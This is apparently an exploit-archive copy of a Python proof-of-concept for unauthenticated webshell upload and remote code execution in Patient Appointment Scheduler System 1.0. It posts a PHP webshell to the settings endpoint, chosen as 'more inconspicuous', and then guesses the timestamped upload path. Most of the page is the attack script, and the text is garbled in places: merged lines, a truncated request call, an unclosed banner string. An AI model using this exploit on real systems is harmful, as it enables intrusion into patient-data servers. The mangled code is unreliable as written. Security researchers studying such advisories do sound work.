Patient Appointment Scheduler System 1.0 Shell Upload

CVE Category Price Severity
Author Risk Exploitation Type Date
Not specified High Remote 2021-09-08
Our sensors found this exploit at:

Below is a copy:

Patient Appointment Scheduler System 1.0 Shell Upload
# Exploit Title: Patient Appointment Scheduler System 1.0 - Unauthenticated File Upload & Remote Code Execution (RCE)
# Date: 03/09/2021
# Exploit Author: a-rey 
# Vendor Homepage:
# Software Link:
# Version: v1.0
# Tested on: Ubuntu 20.04.3 LTS (Focal Fossa) with XAMPP 8.0.10-0
# Exploit Write-Up:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import time
import logging
import requests
import argparse

BANNER = """

 Patient Appointment Scheduler System v1.0 - Unauthenticated File Upload & Remote Code Execution 

 by: \033[0m\033[1;31m           \033[0m
     \033[0m\033[1;32m        \033[0m
     \033[0m\033[1;33m      \033[0m
     \033[0m\033[1;34m            \033[0m
     \033[0m\033[1;35m               \033[0m
     \033[0m\033[1;36m               \033[0m

def exploit(url:str, file:str, delay:int) -> None:
  if not os.path.exists(file):
    logging.error(f'webshell payload "{file}"" does not exist?')
    return'uploading webshell payload "{os.path.basename(file)}" to {url}/uploads ...')
  uploadTime = int(time.time())
  r = + '/classes/SystemSettings.php', 
    files={'img' : (os.path.basename(file), open(file, 'rb'))}, # NOTE: can also use 'cover' field, but this is more inconspicuous
    params={'f' : 'update_settings'},
  if not r.ok:
    logging.error('HTTP upload request failed')
    return'finding new payload file name on target (+/- {delay} seconds) ...')
  for i in range(uploadTime - delay, uploadTime + delay + 1):
    r = requests.get(url + f'/uploads/{str(i)}_{os.path.basename(file)}', allow_redirects=False)
    logging.debug(f'trying {url}/uploads/{str(i)}_{os.path.basename(file)} ...')
    # NOTE: website will send redirects for all files that do not exist
    if r.status_code != 302:
      logging.success(f'webshell payload found on target at {url}/uploads/{str(i)}_{os.path.basename(file)}')
  logging.error('failed to find payload on target')
  logging.warning('maybe need a larger delay or uploads directory is not writable?')
if __name__ == '__main__':
  # parse arguments
  parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
  parser.add_argument('-u', '--url',     help='website URL',                                                  type=str, required=True)
  parser.add_argument('-p', '--payload', help='PHP webshell file to upload',                                  type=str, required=True)
  parser.add_argument('-d', '--delay',   help='delay (seconds) for file timestamp in payload name on target', type=int, required=False, default=60)
  parser.add_argument('--debug',         help='enable debugging output',                                      action='store_true', default=False)
  args = parser.parse_args()
  # define logger
  logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO' if not args.debug else 'DEBUG')
  logging.SUCCESS = logging.CRITICAL + 1
  logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
  logging.addLevelName(logging.ERROR,   '\033[0m\033[1;31mFAIL\033[0m')
  logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
  logging.addLevelName(logging.INFO,    '\033[0m\033[1;36mINFO\033[0m')
  logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
  # print banner
  # run exploit
  exploit(args.url, args.payload, args.delay)

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.